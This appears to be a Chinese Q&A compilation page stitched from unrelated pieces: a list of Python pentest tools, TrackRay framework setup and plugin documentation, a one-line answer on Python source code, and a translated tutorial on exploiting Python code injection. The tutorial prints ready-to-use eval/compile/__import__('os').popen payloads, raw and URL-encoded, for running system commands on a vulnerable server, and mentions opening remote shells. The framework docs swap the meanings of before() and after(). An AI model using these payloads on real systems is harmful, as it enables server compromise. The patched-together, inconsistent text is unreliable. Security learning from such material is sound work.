Python渗透测试工具都有哪些
网络
Scapy, Scapy3k: 发送，嗅探，分析和伪造网络数据包。可用作交互式包处理程序或单独作为一个库
pypcap, Pcapy, pylibpcap: 几个不同 libpcap 捆绑的python库
libdnet: 低级网络路由，包括端口查看和以太网帧的转发
dpkt: 快速，轻量数据包创建和分析，面向基本的 TCP/IP 协议
Impacket: 伪造和解码网络数据包，支持高级协议如 NMB 和 SMB
pynids: libnids 封装提供网络嗅探，IP 包碎片重组，TCP 流重组和端口扫描侦查
Dirtbags py-pcap: 无需 libpcap 库支持读取 pcap 文件
flowgrep: 通过正则表达式查找数据包中的 Payloads
Knock Subdomain Scan: 通过字典枚举目标子域名
SubBrute: 快速的子域名枚举工具
Mallory: 可扩展的 TCP/UDP 中间人代理工具，可以实时修改非标准协议
Pytbull: 灵活的 IDS/IPS 测试框架（附带超过300个测试样例）
调试和逆向工程
Paimei: 逆向工程框架，包含PyDBG, PIDA , pGRAPH
Immunity Debugger: 脚本 GUI 和命令行调试器
mona.py: Immunity Debugger 中的扩展，用于代替 pvefindaddr
IDAPython: IDA pro 中的插件，集成 Python 编程语言，允许脚本在 IDA Pro 中执行
PyEMU: 全脚本实现的英特尔32位仿真器，用于恶意软件分析
pefile: 读取并处理 PE 文件
pydasm: Python 封装的libdasm
PyDbgEng: Python 封装的微软 Windows 调试引擎
uhooker: 截获 DLL 或内存中任意地址可执行文件的 API 调用
diStorm: AMD64 下的反汇编库
python-ptrace: Python 写的使用 ptrace 的调试器
vdb/vtrace: vtrace 是用 Python 实现的跨平台调试 API, vdb 是使用它的调试器
Androguard: 安卓应用程序的逆向分析工具
Capstone: 一个轻量级的多平台多架构支持的反汇编框架。支持包括ARM,ARM64,MIPS和x86/x64平台
PyBFD: GNU 二进制文件描述(BFD)库的 Python 接口
Fuzzing
Sulley: 一个模糊器开发和模糊测试的框架，由多个可扩展的构件组成的
Peach Fuzzing Platform: 可扩展的模糊测试框架(v2版本 是用 Python 语言编写的)
antiparser: 模糊测试和故障注入的 API
TAOF: (The Art of Fuzzing, 模糊的艺术)包含 ProxyFuzz, 一个中间人网络模糊测试工具
untidy: 针对 XML 模糊测试工具
Powerfuzzer: 高度自动化和可完全定制的 Web 模糊测试工具
SMUDGE: 纯 Python 实现的网络协议模糊测试
Mistress: 基于预设模式，侦测实时文件格式和侦测畸形数据中的协议
Fuzzbox: 媒体多编码器的模糊测试
Forensic Fuzzing Tools: 通过生成模糊测试用的文件，文件系统和包含模糊测试文件的文件系统，来测试取证工具的鲁棒性
Windows IPC Fuzzing Tools: 使用 Windows 进程间通信机制进行模糊测试的工具
WSBang: 基于 Web 服务自动化测试 SOAP 安全性
Construct: 用于解析和构建数据格式(二进制或文本)的库
fuzzer.py(feliam): 由 Felipe Andres Manzano 编写的简单模糊测试工具
Fusil: 用于编写模糊测试程序的 Python 库
Web
Requests: 优雅，简单，人性化的 HTTP 库
HTTPie: 人性化的类似 cURL 命令行的 HTTP 客户端
ProxMon: 处理代理日志和报告发现的问题
WSMap: 寻找 Web 服务器和发现文件
Twill: 从命令行界面浏览网页。支持自动化网络测试
Ghost.py: Python 写的 WebKit Web 客户端
Windmill: Web 测试工具帮助你轻松实现自动化调试 Web 应用
FunkLoad: Web 功能和负载测试
spynner: Python 写的 Web浏览模块支持 Javascript/AJAX
python-spidermonkey: 是 Mozilla JS 引擎在 Python 上的移植，允许调用 Javascript 脚本和函数
mitmproxy: 支持 SSL 的 HTTP 代理。可以在控制台接口实时检查和编辑网络流量
pathod/pathoc: 变态的 HTTP/S 守护进程，用于测试和折磨 HTTP 客户端
打造自己的渗透测试框架—溯光
TrackRay简介
溯光，英文名“TrackRay”，意为逆光而行，追溯光源。同时致敬安全圈前辈开发的“溯雪”，“流光”。
溯光是一个开源的插件化渗透测试框架，框架自身实现了漏洞扫描功能，集成了知名安全工具：Metasploit、Nmap、Sqlmap、AWVS等。
溯光使用 Java 编写，SpringBoot 作为基础框架，JPA + HSQLDB嵌入式数据库做持久化，Maven 管理依赖，Jython 实现 Python 插件调用，quartz 做任务调度，freemarker + thymeleaf 做视图层，Websocket 实现命令行式插件交互。
框架可扩展性高，支持 Java、Python、JSON 等方式编写插件，有“漏洞扫描插件”、“爬虫插件”、“MVC插件”、“内部插件”、“无交互插件”和“可交互插件” 等插件类型。
功能展示
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任务详情
无交互接口插件调用
MVC插件示例
交互式插件控制台
MSF 控制台
依赖环境
JDK 1.8
Python 2.7
Maven
Git
Metasploit
Nmap(建议安装)
SQLMAP(建议安装)
AWVS
**加粗为必须环境，没有安装程序则无法正常编译运行
不论是 Windows 还是 linux 一定需要先安装 JDK1.8 和 Maven。安装过程这里不做演示。保证 JDK 和 Maven 都在系统环境变量，能执行java -version 和 mvn --version即可。
安装过程
第一步
手动启动 AWVS 服务
登录后台，生成一个API密匙。
复制密匙和 AWVS 的地址。
找到web/src/main/resources/application.properties配置文件。
修改如下部分
第二步
找到你 python 的第三方库目录。
Windows 的一般在 python 安装目录下的/Lib/site-packages
Linux 下可以通过输出 sys.path 来找第三方包路径
我的是 D:/Python2/Lib/site-packages
同样找到web/src/main/resources/application.properties配置文件。
修改python.package.path参数
第三步
安装 Maven 后找到仓库位置。
如果没有在 settings.xml 里配置指定仓库目录，默认会在当前用户目录中生成一个 .m2的目录
找到仓库目录后修改 application.properties 的 maven.repository.path参数
第四步
这个是 DNSLOG 回显检测漏洞时需要的。
去 ceye.io 注册一个账号，拿到给你分配的域名和 TOKEN。
修改配置文件
第五步
启动 msf 和 sqlmapapi。
如果你是 kali 操作系统，可以直接运行startdep.sh。
如果是其他系统，则要找到 metasploit 和 sqlmap 的目录分别执行
启动成功后修改配置文件
第六步
编译打包程序
等待依赖下载完成和编译完成，如果以上操作都没有出现问题则会提示 BUILD SUCCESS
编译成功后会在当前目录打包一个trackray.jar就是溯光的主程序。
然后直接执行startup.bat或startup.sh溯光就会启动服务。
没有抛出异常或ERROR日志，访问 8080 端口正常。
服务启动正常后，登录 iZone 社区账号。
**开发插件建议使用 Intellij IDEA IDE，需要安装 lombok 插件。
目录结构
插件
AbstractPlugin
这是交互式插件和非交互式插件的父类。
BASE常量
其中的静态常量 BASE 是 /resources/include/ 的所在目录。
如果你的插件需要额外的静态资源，那么你可以在 /resources/include 目录里创建一个和插件 KEY 相同的文件夹，便于识别，如果没有在 @Plugin 注解中设置 value 则默认的插件 KEY 就是当前类名首字母小写。
如 Typecho001 = typecho001
check(Map param)
这是用于检验是否合规的方法，需要被强制重写，当返回 true 时才会调用 start() 方法
param 参数是从前台传过来的参数键值对。
常被用于检验参数格式是否正确或漏洞是否存在。
after()
在 start() 方法之前调用
before()
在 start() 方法之后调用
start()
这是一个抽象方法，所有继承了该类的子类都需要重写这个方法。
在 check 方法 通过后会调用 start() 方法
start() 方法返回值最终会会当做插件结果，响应给前台。
shell()
调用当前系统 shell 来辅助完成插件功能。
executor()
插件执行的主方法
crawlerPage
http请求对象（不推荐使用）
fetcher
执行 http 请求对象（不推荐使用）
errorMsg
当校验不通过时，返回给前台的信息。
param
前台传过来的参数键值对
requests
HTTP 发包工具（推荐使用）
hackKit
hack 常用工具包
无交互插件
无交互插件需要你填写好所有要填写的参数，直接请求接口来执行插件。
默认需要去继承 CommonPlugin类。
这是一个抽象类，继承了 AbstractPlugin
主要多出来两个属性：request 和 response。
继承了 CommonPlugin 的类可以通过调用这两个属性来控制请求和响应内容。
无交互插件同时也需要使用 @Rule 和 @Plugin 插件，这两个注解后面会讲到。
在 ，找到相应的插件填写好参数提交即可完成调用。
或直接调用接口。
交互式插件
交互式插件一般在命令行控制台中调用，可以允许你通过命令行交互来完成插件的调用。
交互式插件由 Websocket 实现，想要写一个交互式插件，首先要继承 WebSocketPlugin 类。
同时设置 @Rule 注解的 websocket 参数为 true ，如果需要异步交互需要将 sync 也设置为 true。
内部插件
内部插件是不可以通过外部去调用的，需要继承 InnerPlugin 并使用 @Plugin 注解，通常在漏洞扫描时时会调用。
例如 “网页爬虫”，“指纹识别”，“端口扫描” 等，都是通过调用内部插件实现的。
还有用于检测 SSRF 等漏洞用的 FuckCeye 插件也属于内部插件。
通过 spring 的自动注入，来注入内部插件到当前对象。
例子可参考 WebLogicWLSRCE.java
爬虫插件
爬虫插件会在扫描任务被勾选“网页爬虫”时调用，每爬取一条请求就会调用一次爬虫插件。
爬虫插件需要继承 CrawlerPlugin，继承该类必须重写 check 和 process 方法。
check 方法用于检验请求是否符合插件规则，以免产生多余请求。
当 check 方法 返回为 true 时会调用 process 方法。
process 方法里写插件主要检测代码。
addVulnerable()
当插件检测出漏洞时，可以通过调用 addVulnerable() 方法来向数据库插入一条漏洞。
requests
requests 属性为请求工具包，处理 https 和 http 都很方便。
response
response 属性为当前爬虫得到的 HTTP 响应。
task
task 属性为当前任务对象，如果你的爬虫插件不是检测漏洞而希望是检测一些敏感信息的话可以修改 task.getResult() 里的属性。
参考 FingerProbe.java 或 InfoProbe.java。
target
爬虫爬取到的 URL 对象。
fetcher crawlerPage
http 请求对象（不建议使用）。
漏洞扫描插件
漏洞扫描插件会在，扫描任务中勾选“漏洞攻击模块”时调用。
漏洞扫描插件分为三种
1.独立插件
独立的漏洞扫描插件需要继承 AbstractExploit 并使用 @Plugin 或 @Exploit
AbstractExploit 中有以下需要了解的方法和属性。
requests
http / https 发包工具
target 当前扫描任务的地址。
task
当前扫描任务对象。
check()
check 是一个抽象方法，需要被子类强制重写。
该方法一般用于检验是否符合当前漏洞扫描插件的规则，以免产生多与请求。
attack()
attack 也是一个抽象方法，需要被子类强制重写。
该方法是检测漏洞的主方法。
before()
在 attack 方法前执行
after()
在 attack 方法后执行
addVulnerable()
当插件检测出漏洞时，可以通过调用 addVulnerable() 方法来向数据库插入一条漏洞。
fetcher crawlerPage
http 请求对象（不建议使用）。
2.漏洞规则
位于
实际上这是一个“内部插件”，会在勾选漏洞模块攻击时调用。
有一些漏洞检测方法很简单，只通过简单的判断响应体就能识别出来，也就没有必要再去写一个独立的插件而占用空间了。
在 doSwitch() 方法中会先去根据当前任务的指纹识别结果走一遍 switch 流程。
swtich 的每一个 case 都是 WEB 指纹的枚举对象。
当 switch 找到当前任务 WEB 指纹对应的 case 后，case 内的代码会通过构建一个漏洞规则添加到 loaders 集合里。
如果规则是通用的，可以写在 switch 的外面。
3.kunpeng JSON插件
kunpeng 是一个 go 语言编写的 poc 测试框架，这里我对 kunpeng 的 JSON 插件做了一个支持。
只需要按照 kunpeng json 插件的格式规范创建一个 json 文件到 /resources/json 目录。
在扫描任务勾选“漏洞攻击模块”时会被调用，或通过 MVC 插件调用 。
MVC 插件
位于
MVC 插件的特点在于，他可以像是在写一个功能一样，而非简单的接口式调用。
MVC 插件需要继承 MVCPlugin 类，并使用 @Rule,@Plugin 注解。
MVCPlugin 内置了一个 ModelAndView 对象， 是 SpringMVC 提供的。
可以通过 setViewName() 来指定视图层的网页模板。
通过 addObject(key,value) 向视图层网页模板注入参数。
这里的视图层是使用 thymeleaf 实现的，需要懂 thymeleaf 的语法。
例子可以参考：com.trackray.module.inner.JSONPlugin
继承 MVCPlugin 必须要重写一个 index 方法，这是插件的入口。
如果需要写其他的功能，就得再创建一个 public 返回值为 void 的无参方法。
并且要在该方法上使用 @Function 注解，该注解的 value 参数如果不填写的话则默认的 requestMapping 地址为方法名。
例如
最后还需要在 /module/src/main/resources/templates 创建一个目录名为插件 KEY 的目录。
里面存放扩展名为 .html 的模板文件。
Python 插件
python 插件有两种实现方式。
1.通过命令行实现
这种方式最为简单，通过在 include 里写一个 python 脚本。
然后在插件里调用 shell() 方法来执行系统命令。
案例可参考 com.trackray.module.plugin.windows.smb.MS17010
但这样还需要再写 java 的代码，对于没有学过 java 的人来说很不友好。
2.通过jython实现
jython 是一个 Python 语言在 Java 中的完全实现。
我将它的调用过程写成了一个交互式插件。
你可以通过在 /resources/python/ 目录下安装如下规范去创建一个 python 文件。
在这个 python 文件中需要写两个方法。
关于注解
@Rule
一般用在“可交互插件”和“无交互插件”类上。
@Plugin
WEB指纹
这里顺便再说一下如何添加指纹库。
指纹库位于 base 模块，是一个枚举类。
可以在首部或尾部添加一条新的枚举，尽量使用 $ 开头。
第一个参数是 指纹的名称，如果第二个参数是 String 类型则是该指纹的说明。
FingerBean 类是指纹匹配对象。
Python源码是什么意思？
源代码是指原始代码，可以是任何语言代码。Python源码就是指编写的最原始程序的代码。运行的软件是要经过编写的，程序员编写程序的过程中需要他们的“语言”。
如何使用python查找网站漏洞
如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：
\
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload：
\
我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景：
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# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
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请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
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漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。
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